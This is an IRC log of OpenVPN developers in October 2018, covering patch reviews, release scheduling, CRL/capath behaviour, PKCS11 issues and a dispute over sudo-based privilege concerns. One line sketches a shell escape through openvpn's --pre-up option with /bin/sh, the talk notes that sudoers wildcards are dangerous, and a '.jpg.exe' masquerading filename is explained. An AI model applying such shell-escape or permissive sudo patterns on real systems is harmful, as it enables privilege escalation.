[git:master/680117529ededd94] x86_64-unknown-openbsd6.3 [SSL (OpenSSL)] [LZO] [LZ4] [MH/RECVDA] [AEAD] built on Oct 14 2018 05:20 <@cron2> library versions: OpenSSL 1.1.1 11 Sep 2018, LZO 2.10 05:20 <@cron2> \o/ 08:53 < tincantech> "openssl" version bites libressl : https://github.com/libressl-portable/portable/issues/445#issuecomment-429598168 08:53 <@vpnHelper> Title: Intermittent SSL connection failures with Apache 2.4.34 & LibreSSL 2.7.4 · Issue #445 · libressl-portable/portable · GitHub (at github.com) 11:58 -!- ender| is now known as \ 11:59 -!- \ is now known as | 11:59 -!- | is now known as Guest17208 12:01 -!- Guest17208 is now known as ender| 12:18 <@cron2> "just do not let your friends use LibreSSL" --- Day changed Mon Oct 15 2018 00:40 <@cron2> jftr, I'm at the RIPE-meeting in Amsterdam this week 00:40 <@cron2> so, slow to respond and little time 01:49 <@ordex> cron2: ACK 01:50 <@syzzer> ordex: do you want me to send a new set? 01:50 <@syzzer> or shall I just rebase & push to github for now? 01:50 <@ordex> latter is good I think 01:51 <@syzzer> ok, will do 01:53 <@syzzer> ordex; rebased without fuzz, new branch now on my pers. github 02:08 <@ordex> syzzer: thanks ! 03:08 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:08 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 06:33 <@ordex> syzzer: quick fix: tls_crypt.c:731 you have a space between cast and variable 06:33 <@ordex> but I am hunting something else.... 06:54 * dazo will try to fill in cron2's gap tomorrow and Friday 07:04 <@cron2> dazo: ACK, thanks, Will sync up before the next merge :) 07:16 <@cron2> ordex: I've heard interesting suggestions for a new transport plugin today 07:17 <@cron2> Iran's OpenVPN users are changing TCP ports, because UDP is blocked and TCP with "indecipherable content" is rate-limited after a while 07:17 <@cron2> so every new TCP port works for a while and then slows down after some amount of traffic has been sent... 07:18 <@cron2> (they have hacked-together a local openvpn variant that does this today, but I think it's a nice challenge for the plugin API :) ) 07:18 <@ordex> yeah sounds cool 07:18 <@ordex> periodically re-establishing a vpn connection on a different port 07:19 <@cron2> ideally just floating over (which we don't do right now on TCP, but the plugin might take care of that) 07:22 <@ordex> yeah 07:34 <@dazo> Just pondering ... what if we wrap the openvpn wire protocol in a plain TLS ... then close and reconnect at irregular intervals (from 30 seconds to 30 minutes) .... to kind of simulate https which might even do some streaming ... and if then putting a TCP based openvpn server behind cloudflare ..... 07:34 <@dazo> not saying this is feasible for all users ... but just as a thought-experiment 07:44 <@ordex> it will affect the throughput big time, especially if there is an ongoing connection 07:44 <@ordex> but regardless of that ... anything can be done as soon as we have the transport api in place :) 07:47 <@dazo> yeah, anything "breaking" the connection can impact throughput .... but I was thinking that it would just the plain TLS layer doing the reconnect, not openvpn wire protocol below it - which should be somewhat quicker 07:48 <@dazo> (compared to the "full stack reconnect") 07:50 <@dazo> d12fk: Hey ... can you please push out your struct argv work branches somewhere? No worries if it's old ... these merge/rebase conflicts are annoying me a bit too much - and I'm missing an expected "baseline" to compare against 07:50 <@dazo> now trying to use the patches directly from the mailing list, instead of 'git pw' which seemed to cause some of the confusion 07:57 <@ordex> syzzer: except from that little style fix I couldn't find anything else wrong 07:57 <@ordex> syzzer: all my tested have passed. I'd suggest to send the latest patchset to the mailing list so that I Can ACK it 08:36 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 08:49 <@ordex> dazo: syzzer: cron2: should we mark "2.5_beta1" for end of december ? 08:49 <@ordex> in https://community.openvpn.net/openvpn/wiki/StatusOfOpenvpn25 08:49 <@vpnHelper> Title: StatusOfOpenvpn25 – OpenVPN Community (at community.openvpn.net) 09:06 <@cron2> ordex: I thought we agreed on "mid January"? 09:06 <@cron2> "in time for Debian" 09:07 <@ordex> I thought we agreed on a "bit earlier". As Debian will be frozen on Jan 12, so we need to have the package ready by then. but in any case I think we are on the same page. we just need to fix some kind of date 09:18 <@dazo> no, before christmas beta1 needs to be out ... we need to be at RC by mid jan 09:19 <@dazo> but we need to get in touch with the Deb maintainer asap too 09:19 * dazo heads out for 2-3 hours 09:32 <@cron2> I thought RC can be in Feb? Anyway... then it needs to be "End Dec" obviously 10:22 <@ordex> yeah and since "end of dec" is vacation, this is probably something we need to clos within 15th-22th 10:22 <@ordex> *close 10:34 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:34 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 11:41 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 268 seconds] 11:42 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:42 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 11:52 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 12:11 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:11 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 12:13 * m-a was pleased by cron2's "just do not let your friends use LibreSSL" yesterday =:-) 12:55 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 14:01 < tincantech> yuk .. thanks for letting me know about the ugly new website 17:45 < tincantech> gah .. coloured text on a text website is such a mine field .. but when you start with "Carrot" and "Denim" you need to be Versace or something to get it right 17:52 < tincantech> hint .. bright white background (i think) is a bad choice .. tone it down a little 18:45 <@dazo> cron2: d12fk: First round of the struct argv patches sent directly for a test round in buildbot .... seems to be running reasonably fine so far (probably explodes now, though, after haven written this) ... but if it looks good by tomorrow morning, I'll push them out for an initial review before proper ML 18:46 <@dazo> cron2: you want my changes (based on prior review comments) to be in a separate patch on top-of d12fk's patches? Or should I integrate them? 18:46 <@dazo> the Doxygen comment stuff will in a separate patch anyhow --- Day changed Tue Oct 16 2018 00:27 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:27 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:03 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 01:51 <@cron2> dazo: since d12fk's patch set does not apply anymore, not sure if "apply them, then apply yours on top" makes much sense 01:52 <@cron2> but without having seen them, hard to say for sure :-) 01:58 <@ordex> i think he's talking about a rebased version. imho it is better to merge "the fixes" into the original patches and add a double sign-off while keeping the authorship on d12fk 01:58 <@cron2> yes 02:01 <@cron2> if we think something is broken, we shouldn't be merging it, no 02:08 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:08 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:11 <@mattock1> meeting tomorrow? 02:15 <@ordex> guess so ? 02:19 <@cron2> I'll have a working group to chair at that time, so won't make it :-) 03:43 <@d12fk> dazo: do you still need the original branch? 05:35 <@plaisthos> Simon Rozman is fixing bug that I did not even know existed 07:08 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 08:00 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:00 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 08:48 <@dazo> d12fk: would be nice to compare if I did more damage or if I actually did it correct :-P 08:49 <@dazo> so if you could push it out as it is, I'd appreciate that, d12fk :) 09:33 <@d12fk> sure will do later today 09:34 <@d12fk> think there's some unfinished unit tests contained 09:34 <@dazo> ahh, thx! I can pick up those as well then 10:17 <@d12fk> dazo: https://github.com/d12fk/openvpn/tree/struct_argv_rework 10:17 <@vpnHelper> Title: GitHub - d12fk/openvpn at struct_argv_rework (at github.com) 10:43 <@dazo> d12fk: wonderful, thx! 11:16 <@vpnHelper> RSS Update - tickets: #1128: Android: Proxy basic auth setting doesn't work <https://community.openvpn.net/openvpn/ticket/1128> 11:33 < tincantech> This bug was reported for 2.3.8 https://community.openvpn.net/openvpn/ticket/623 11:33 <@vpnHelper> Title: #623 (Does not reload CRL files when are defined in CAPath) – OpenVPN Community (at community.openvpn.net) 11:33 < tincantech> but it appears to still be present in 2.4 https://forums.openvpn.net/viewtopic.php?f=4&t=27258 11:33 <@vpnHelper> Title: When does OpenVPN reload CRLs with -capath? - OpenVPN Support Forum (at forums.openvpn.net) 11:34 < tincantech> syzzer: any update available ? thanks 11:36 <@ordex> tincantech: this has not been worked recently as far as I know 11:37 <@ordex> this looks like a openssl behaviour that might be hacked - anybody asking for that ? 12:31 <@dazo> ordex: didn't you work on a very related topic ages ago? 12:32 <@dazo> commit ce91c187ee0dd73aa4dbe4468181db90403951ce 12:32 <@dazo> Author: Antonio Quartulli <a@unstable.cc> 12:32 <@dazo> Date: Thu Dec 1 18:41:45 2016 +0800 12:32 <@dazo> reload CRL only if file was modified 12:33 <@dazo> but yeah, this is --crl-verify, not CApath stuff 12:38 <@ordex> right 12:39 <@ordex> capath is entirely delegated to openssl, therefore I am not sur ehow this could really work 12:41 <@dazo> so bottom line is ... use proper CRL files ;-) 12:41 <@ordex> hehe htat would be the standard way :) 12:41 <@ordex> and it would work 12:41 <@dazo> :) 12:42 <@ordex> is capath really useful for openvpn ? 12:42 <@dazo> it avoids the CRL expiry ... that's probably the only useful difference 12:42 <@ordex> it sounds useful only when you want to connect to peers created by different PKIs 12:42 <@ordex> why does it ? if the CRL is expired it won't be valid anyway, no? 12:42 <@dazo> and it its quicker to revoke and easier to "un-revoke" 12:43 <@dazo> if the CRL expires, it's now rejects any clients 12:43 <@ordex> ah right 12:43 <@ordex> because the test will just fail 12:43 <@dazo> yupp 12:43 <@ordex> while with capath this does not work ? 12:43 <@ordex> I mean the test does not fail ? 12:44 <@dazo> you don't use CRL files with CApath ... you just enlist the serial number 12:44 <@dazo> as an empty file or so, iirc 12:45 <@ordex> ah ok 12:45 <@dazo> so, if not enlisted ... the client can't connect ... and there's no expiry on that directory .... the only expiry is the certificates themselves 12:45 <@ordex> hmmm 12:45 <@ordex> I am reading the manpage of openvpn and openssl 12:45 <@ordex> it says you can specify a CRL with the format <hash>.r<n> 12:46 <@dazo> unless I'm confusing it with a different but somewhat related openvpn option ..... 12:46 <@ordex> but hash should be the hash of the CA subject name, so still one CRL per CA (meaningful) 12:46 <@dazo> yeah 12:46 <@ordex> so you still have one CRL per CA 12:46 <@dazo> hmm 12:46 <@dazo> interesting 12:46 <@ordex> and once it is there, if it expired, I feel it will fail 12:46 <@ordex> "openssl verify" can be used for testing 12:46 <@ordex> but it sounds like that 12:47 <@dazo> ahh ... I confuse it with --crl-verify $CRLDIR dir 12:47 <@ordex> oh ok 12:47 <@dazo> there *are* too many options in openvpn :-P 12:47 <@ordex> haha 12:47 <@ordex> yeah that works like you said: one file per revoked certificate 12:49 <@dazo> okay, then capath is truly an openssl specific feature, and behaves how openssl expects it to behave 12:49 <@ordex> right 12:49 <@ordex> this is why there is not much we can do, imho 12:49 <@dazo> agreed 12:49 <@dazo> tincantech: ^^^ we've concluded on --capath :) 12:49 <@ordex> unless we can reload the entire folder, but this will conflict with reloading the CA too ... don't want to think about that :P 12:50 <@dazo> heh 12:50 <@dazo> needs to be fixed in openssl ;-) 12:50 <@dazo> (or that openssl exposes a function to flag "re-read capath dir") 12:51 < tincantech> sound good to me .. thanks :) 12:54 <@ordex> tincantech: maybe you can reply to the ticket and close it (?) 12:55 < tincantech> i was about to ask you to do that ;) -- I cannot edit trac but you can and you understand it better than i 12:55 <@ordex> will do! 12:55 < tincantech> tyvm 12:57 < tincantech> I can update the forum ;) 13:05 <@ordex> tincantech: and btw in the last post in the ticket the guy is providing a workaround as far as I can understand 13:57 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 272 seconds] 14:37 < tincantech> ordex: sure .. but I don't understand the "work around" and it's not something I am likely to try to verify .. so ... anyway, it's not "our" problem is good enough for me 14:39 <@ordex> right 14:39 <@ordex> :P 14:45 < tincantech> thanks for your help ;) 14:46 < tincantech> curiosity, as you sort of understand it, does it seem like maybe this is an option openvpn should get rid of( --capath) as it seems to me to be not the way openvpn would ideally be used ? 14:47 < tincantech> one server = one ca .. why --capath ? 14:53 <@dazo> tincantech: when you have intermediate CAs in the mix, --crl-verify will most likely not be enough 15:06 < tincantech> dazo: thanks, i forgot about all that 15:09 < tincantech> got a horrible cold and brain power (what there was of it in the first place) is seriously depleted ;-*| (* = bogeys) 15:31 <@vpnHelper> RSS Update - gitrepo: ifconfig-ipv6(-push): allow using hostnames <https://github.com/OpenVPN/openvpn/commit/2b15c11716e0d04a090585450e8f8f65405d0192> || buffer_list_aggregate_separator(): simplify code <https://github.com/OpenVPN/openvpn/commit/e883c66b9da390f56ef4a596c9eb6b237a185a50> || Refuse mbed TLS external key with non RSA certificates <https://github.com/OpenVPN/openvpn/commit/b3c24842a807014c1663eed6f79e888d73182205> || 15:38 <@cron2> whee! 15:39 <@cron2> (I actually wanted to double-check the ifconfig-ipv6 + hostnames, but seems I'll have to do that afterwards and fix things if I find anything... but that's for slacking...) 15:40 <@cron2> good to keep moving 15:44 <@cron2> dazo, plaisthos: the "Refuse mbed TLS external key with non RSA certificates" is something which sounds like it could be useful in 2.4 as well. But I'm not sure if that situation could happen at all there or if "infra is missing" in the first place 15:47 <@dazo> cron2: it did not apply cleanly ... and brainpower too low (a cold is trying to knock me over) ... yes, the code was sufficiently different that I think it makes sense to have a separate release/2.4 patch 15:47 <@dazo> the surrounding code, I mean 15:47 <@cron2> yeah, makes sense 15:48 <@cron2> the part "should this go to 2.4 or not" is sometimes the most challenging part of "merge, test, push" :-) - either due to conflicts, or due to code areas I do not understand too well 15:49 <@dazo> :) 15:49 <@dazo> btw ... I've reviewed my struct argv results with d12fk earlier today ... and it now basically matches (well, tun.c is somewhat different - but that's expected) ... so I'll just merge my improvements and send another round to the ML tomorrow 15:49 <@cron2> cool 15:49 <@dazo> rebases you think "oh, this is simple" ..... they can be fool you 15:50 <@cron2> if ordex had his hands on the .c file in question... nothing is ever easy 15:50 <@dazo> and it doesn't help when the tools you use even places hidden traps along the path 15:50 <@cron2> haha :) 15:51 <@dazo> well, time to get home now :) 15:51 <@cron2> good night! and get well! 15:51 <@dazo> at least now I don't have to feel that guilty not paying attention to patchwork for some time :-P --- Day changed Wed Oct 17 2018 00:14 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:14 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:48 <@ordex> cron2: lol 01:48 <@ordex> what have I done ? 01:49 <@ordex> :) 01:49 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 01:49 <@ordex> yehaa 01:49 <@ordex> patches patches ! 02:10 <@cron2> ordex: wrecking .c and .h files all over the place so nothing applies anymore :) 02:11 <@cron2> so, focus on my workin group again 02:13 <@ordex> :) 03:54 <@ordex> are we meeting today? (except from cron2 who said he'll be busy) 04:04 <@ordex> dazo: you should not forget to mark patches as "Accepted" in pw after merging :P 04:41 <@dazo> ordex: ahh! thx! I thought that happened automatically now ... I fix that 04:57 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:57 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 05:03 <@ordex> dazo: hehe I cleaned some patches in the meantime 05:03 <@ordex> but not them all yet 05:03 <@ordex> so still some left for you of course 05:18 <@dazo> :-P 06:38 < tincantech> ordex: dazo .. wrt yesterdays query about ca-path .. can you take a look here please : https://forums.openvpn.net/viewtopic.php?f=4&t=27251 06:38 <@vpnHelper> Title: Connections silently fail when -capath and -crl_verify both used - OpenVPN Support Forum (at forums.openvpn.net) 06:39 < tincantech> essentially, I suppose the manual could have some info about how it does not work or something 06:39 < tincantech> tia 06:40 < tincantech> it's the same guy as yesterday but an earlier question 06:40 < tincantech> if necessary i can raise a trac for it 06:44 <@ordex> what for ? 06:44 <@ordex> I missed some messages 06:49 < tincantech> it's about including some kind of warning that ca-path and ca-verify (apparently) are incompatible .. 06:49 < tincantech> i think he explained better than i tho 06:52 < tincantech> who designed the new webshite .. it is appauling, you have mixed all the ASS docs into the CE docs .. making openvpn even more user UN-friendly 07:09 <@ordex> tincantech: what is ca-verify ? 07:13 < tincantech> crl-verify ..... 07:13 < tincantech> we all make mistakes 07:23 <@ordex> ah ok 07:23 <@ordex> well, there is always a new option to discover ;P 07:25 <@cron2> there are always new options... and while you are sleeping, plaisthos will add new ones :-) 07:36 <@ordex> hehe 07:41 < tincantech> trac is officially crap .. No dates ! 07:41 <@ordex> whuut ? 07:41 <@ordex> what's up with poor trac ? 07:41 <@ordex> (even though I don't like it either :P) 07:46 < tincantech> yah .. maybe it's not that bad .. but who works in "Changed 2 years ago by reators" ? just put the effing date 07:46 < tincantech> stupid 07:57 <@ordex> if you hover I think it shows it 08:04 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 08:19 < tincantech> exactly .. another annoying and stupid hoop to jump through for no improvement what-so-ever 09:11 * cron2 ignores tincantech... all tools are crap, and trac works for us, so no use complaining 09:14 * ecrist agrees 09:23 <@ecrist> "When OpenVPN runs as root, there are lots of bad things it can do to the system." 09:23 <@ecrist> No shit. 09:23 -!- Irssi: #openvpn-devel: Total of 34 nicks [8 ops, 0 halfops, 1 voices, 25 normal] 09:26 <@ordex> hehe 09:30 <@ecrist> my reply was a bit more polite. 09:34 <@plaisthos> ecrist: hehe 09:34 <@plaisthos> I was thinking about oepnvpn --script-security 0 --pre-up "/bin/sh" gives you an instant shell! 09:34 <@cron2> "use the nice and shiny and privilege-separated openvpn 3 client" 09:35 <@plaisthos> but then I realised that you need more options to pull that off ;P 09:41 <@ordex> plaisthos: pre-up does not exist yet :P even if it was suggested 09:44 < tincantech> The Internet of Stupid Things is not going to get any smarter any time soon! 10:06 * ecrist manages to craft another polite response, with a hint of GTFO overtone. 10:08 <@ordex> lol 10:32 * tincantech 10:33 * ordex 10:35 <@plaisthos> ecrist: did the guy reply to you only? 10:35 <@plaisthos> please cc us :P 10:36 < tincantech> ordex: in the manner of Timmy from Southparks ;) 11:00 <@ecrist> plaisthos: oh, sorry 11:00 <@ecrist> I forwarded my reply to the list. 11:01 <@ecrist> basically, has is OSCP cert (at least tags his sig with it) but doesn't understand basic sudoers syntax. 11:01 <@ecrist> This is why I think certs themselves are useless to denote knowledge. 11:05 * plaisthos looks up OSCP 11:06 <@plaisthos> ecrist: don't you need some no additional args make? 11:07 <@plaisthos> ecrist: I think he fails to understand that sudoedit allowed to edit files that were not allowed to edit and therefore that was an exploit 11:07 <@plaisthos> but fails to see that sudo command makes no such promises 11:23 <@ecrist> you don't need any argument to prevent args 11:25 <@ecrist> because I'm listing an argument, the --config blah, that will be the only argument allowed 11:25 <@ecrist> Also note the explicit paths used 11:25 <@plaisthos> nope 11:25 <@plaisthos> you can add extra argument after that 11:25 <@plaisthos> openvpn --config foo --config bar --cipher aes-128-cbc 11:25 <@plaisthos> I have done that often enough :) 11:26 <@plaisthos> ecrist: or is that a sudo feature? 11:26 <@ecrist> a sudo feature 11:26 <@plaisthos> ah okay 11:26 <@ecrist> so, to run a command and to tell sudo "no arguments", you use a single empty argument 11:26 <@ecrist> /path/to/cmd "" 11:27 <@ecrist> otherwise, with any arguments, sudo lets you add arguments. 11:27 <@ecrist> if arguments are present within the command string, they are the only ones allowed (and order matters) 11:27 <@ecrist> there are globbing things you can do 11:27 <@ecrist> /usr/local/bin/openvpn --config /etc/openvpn/*.ovpn 11:28 <@ecrist> will allow any file in /etc/openvpn/ ending with ovpn 11:28 <@ecrist> it gets fuzzy after that, and * is really dangerous. 11:35 <@plaisthos> hehe 16:11 <@vpnHelper> RSS Update - tickets: #1129: iOS 12.0.1 breaks OpenVPN Connect <https://community.openvpn.net/openvpn/ticket/1129> 16:54 < tincantech> https://forums.openvpn.net/viewtopic.php?f=36&t=27195&p=81854#p81854 16:54 <@vpnHelper> Title: OpenVPN 3.0.2 (894) and iOS12 - not working - OpenVPN Support Forum (at forums.openvpn.net) 16:54 < tincantech> ecrist: ^ 18:59 < tincantech> lone -o 19:10 -!- tincantech is now known as |-o --- Day changed Thu Oct 18 2018 01:28 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:28 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:22 <@cron2> mattock1: any news on the TAP driver work? 05:06 <@mattock1> no updates so far, Stephen's previous assignment has taken more time than he anticipated 05:07 <@cron2> I guessed something like this 05:39 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 06:07 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:07 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 07:30 <@ecrist> |-o: you have the ability to make things sticky/announcements too 07:37 <@plaisthos> who is |-o? 07:48 <@ecrist> tincantech 07:48 <@ecrist> 19:10:51 -!- tincantech is now known as |-o 07:49 -!- Irssi: #openvpn-devel: Total of 33 nicks [9 ops, 0 halfops, 1 voices, 23 normal] 07:50 <@plaisthos> ah 08:40 <@mattock1> this is good information :P 11:30 <@vpnHelper> RSS Update - tickets: #1130: OpenVPN Connect Not Working after IOS Update <https://community.openvpn.net/openvpn/ticket/1130> 12:42 <@mattock1> cron2: stephen has setup HLK and read the driver source code as preparatory steps 13:12 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 15:45 < sgstair> cron2: I'm also idling here, feel free to ping me. I'll be mostly AFK today and tomorrow. --- Day changed Fri Oct 19 2018 01:38 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:38 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:57 <@mattock1> I setup an agenda for next week's meeting: https://community.openvpn.net/openvpn/wiki/Topics-2018-10-24 01:57 <@vpnHelper> Title: Topics-2018-10-24 – OpenVPN Community (at community.openvpn.net) 01:58 <@mattock1> the google analytics part on community.openvpn.net needs to be discussed, hence I'm ahead of myself here 02:01 <@ordex> mattock1: ahead of yourself? 02:03 * ordex applied some changed to the agenda 02:03 <@ordex> *changes 02:06 <@ordex> |-o: what's up with https://forums.openvpn.net/viewtopic.php?p=81882 ? 02:06 <@vpnHelper> Title: Using public IP to reach tun device on client - OpenVPN Support Forum (at forums.openvpn.net) 02:07 <@mattock1> ordex: of my usual schedule ("omg it is wednesday should we have a meeting?") 02:07 <@ordex> aaah 02:07 <@ordex> :D 02:07 <@ordex> okok 02:07 <@ordex> sorry - did not grasp it was about the schedule 02:25 <@cron2> mattock1: cool 02:26 <@cron2> sgstair: welcome! (I'm still somewhat out of the picture this week, conference in Amsterdam going on) 03:07 <@cron2> *sigh* 03:08 <@cron2> mattock1: I think I'll have to pass on the next meeting - I just got a calendar appointment for "we need to talk budget again" from $customer CEO/CFO, which I can't easily wave away 03:09 <@cron2> (Wednesday, 11:00, will take at least a smal infinity...) 03:10 <@cron2> oh, no. they moved it. It now starts at 11:30 and is scheduled until 14:30 *roll eyes* and then they complain why nothing is ever done on time... 03:21 <@ordex> lol 03:21 <@ordex> 3 hours budget meeting? omg :D 04:00 <@cron2> especially since we already agreed on the budget... but now management wants to cut the sums, I've been told... 04:01 <@ordex> of course 04:01 <@ordex> "faster and cheaper!! must be easy, no?" ;p 04:01 <@ordex> "if not, just cheaper please" :D 04:01 <@ordex> hehe 04:01 <@ordex> just teasing 04:13 <@cron2> we actually put in about the same budget as last year, as we did not spend it yet (due to "nobody being able to deliver what we want") 04:13 <@cron2> and explained that, already 04:14 <@cron2> and we *need* to replace existing gear, as the outer layers of duct tape are already falling off... 04:14 <@ordex> :D 04:14 <@cron2> 10+ year old routers... 04:15 <@cron2> (that still work nicely, but force compromises in other places, and make the whole network more costly to operate due to all the compromises...) 04:17 <@ordex> yeah, sounds like those "temporary" solutions that become "permanent" and just make everything uselessly more complex and expensive throughout the years 04:18 <@cron2> yep. So, at some point, boxes need to be replaced... technology has progressed... like, a 10RU box eating 1000W for 12x 10GE (+ 96x 1GE) needs to go, to be replaced by a 1RU box that needs 300W and provides 40x 10G ports... 04:18 <@ordex> yeah, sounds like a good investment 04:19 <@ordex> especially if prospected across the next few years next to what it would cost by not changing it 04:19 <@cron2> OTOH the 40x 10GE boxes *do* cost like 12kEUR each, and we need 4 pairs, so "significant moneyz"... 04:20 <@cron2> but it must be done in the next 1-2 years, before the old stuff really falls apart 05:05 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 06:23 -!- |-o is now known as tincantech 06:23 < tincantech> ordex: what's up with the ppost ? 06:53 <@ordex> weird response style if you ask me :P but it's just my opinion 07:05 < tincantech> does openvpn currently support the use of epass2003 smart card ? 07:05 < tincantech> https://forums.openvpn.net/viewtopic.php?f=6&t=27267 07:05 <@vpnHelper> Title: Is it possible to write a pin code in the client configuration without the need for interactive input each time ? - OpenVPN Support Forum (at forums.openvpn.net) 07:05 < tincantech> also : https://community.openvpn.net/openvpn/ticket/538 07:05 <@vpnHelper> Title: #538 (no PIN prompt with PKCS11 when systemd is enabled) – OpenVPN Community (at community.openvpn.net) 07:06 < tincantech> failing to prompt for pin 07:18 < tincantech> apparently epass smart card works in windows but not linux .. is there a configure option ? 07:21 < tincantech> ordex: if you want to chime in to that other thread please go ahead, or edit/delete my replies if you prefer 07:29 < tincantech> ordex: i closed the report regarding that post 07:31 <@ordex> k 07:32 < tincantech> any idea about the smart card problem ? 07:43 <@ordex> nope 07:49 < tincantech> feels like a pkcs11 problem which has been lingering for a loooong time 07:50 < tincantech> strange that it works in windows but not linux (apparently) 10:27 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:27 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 10:59 < kitsune1> tincantech: to check whether the card works, the user can manually start openvpn. With systemd pkcs11 is currently unable to prompt for PIN. 11:30 < tincantech> kitsune1: yes, i figured it must be systemd .. the user did try starting manually from command line but did it all wrong .. i guess he would have to recompile without systemd support and start it manually but for now is easier to say the device is not supported 11:35 <@ordex> is it only me or dazo missed 2/4 ? 11:36 < tincantech> i see 1,2,3 & 4 of 4 12:10 <@ordex> got it now 12:15 < tincantech> "file_with_very_descriptive_filename_that_leaves_no_questions_open.jpg.exe" .. leaves me with the question, why ".jpg.exe" ? sounds like asking for trouble .. but what do i know 12:49 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 13:17 <@ecrist> tincantech: many UIs will strip the first extension (.exe) and the user will see a .jpg extension alone, which they are then tricked into thinking it's safe. 13:28 < tincantech> ecrist: i understand that .. just I don't understand why openvpn source uses such a contraption .. but comparing it to the other arguments in that function, i presume dazo just needed some long strings 13:55 <@ecrist> probably 13:55 <@cron2> this came from d12fk, and I assume he just copy-pasted a long string that happened to come along 13:56 <@cron2> (original argv patchset, dazo just rebased, fixed a few warts) 14:44 <@dazo> tincantech: it's plain developer's humour 14:45 <@dazo> tincantech: and it's part of the unit test, to test the behaviour of the string parser 14:49 <@dazo> tincantech: regarding the #538 ticket .... getting people testing the patch I put there would be a good thing ( https://community.openvpn.net/openvpn/raw-attachment/ticket/538/0001-pkcs11-Workaround-to-make-PKCS-11-PIN-token-work-wit.patch ) 14:50 <@ecrist> well said, dazo (re: security@ reply) 14:50 <@dazo> thx! 14:50 <@dazo> I was torn if I should spend time on it again ... but after all "someone was wrong on the Internet" :-P 14:56 <@ecrist> This knife is faulty because if I stab someone with it, they die. Don't stab people with it. Sure, I get that, but if I *do* stab someone, it would be better if they don't die. 14:57 <@dazo> lol ... exactly! 14:58 <@cron2> I did not read the thread yet (dead tired after this week) but *omg* one of those again... 14:59 <@ecrist> he even has the OSCP alphabet collection 14:59 <@ecrist> or OCSP, or whatever 15:00 <@dazo> cron2: at least this guy isn't being passive-aggressive and filing CVE's on our behalf :-P 15:00 <@ecrist> There is that. 15:21 < tincantech> dazo: thanks, i guessed as much .. infact my real point was (and maybe yours too) that for a file name which "leaves no questions" it did leave me witht that one question ;-) 15:25 <@dazo> tincantech: and if I know d12fk right, that was his point ;-) 17:09 <@syzzer> ordex: re 7/7, I could just do "git rebase origin/master" and all was well 17:09 <@syzzer> no complaints whatsoever 17:13 <@syzzer> (hm, seems I answered to that remark already... reading through the backlog.) 17:18 <@syzzer> ordex: thanks for the review! I'll send the patches late Sunday or next Monday, slightly easier to do the changelog when I'm back on my work laptop. 17:19 <@syzzer> have been away for a week of relaxing, hiking and drinking cocktails on Gran Canaria :D 17:19 <@syzzer> flying back tot the rain on Sunday --- Day changed Sat Oct 20 2018 01:20 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:20 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:53 <@ordex> syzzer: :D sounds good ! 01:53 <@ordex> I hope you relaxed well enough!! 03:33 <@cron2> syzzer: nice :) 06:30 -!- cron2 [gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 13:44 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 16:14 -!- cron2_ [gert@openvpn/community/developer/cron2] has joined #openvpn-devel 16:14 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 16:22 <@vpnHelper> RSS Update - tickets: #1131: 2 factor auth by sending key to messager (Threema, WhatApp)? <https://community.openvpn.net/openvpn/ticket/1131> --- Day changed Sun Oct 21 2018 01:30 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:30 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 05:39 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 07:13 < tincantech> "cocktails in Gran Canaria" .. that is a blast from the past ! nice :) -- here's one for you "American Handshake", southern comfort, vodka and lime .. and If I recall they don't measure in GC they just pour ! 17:37 < kitsune1> paul sellers 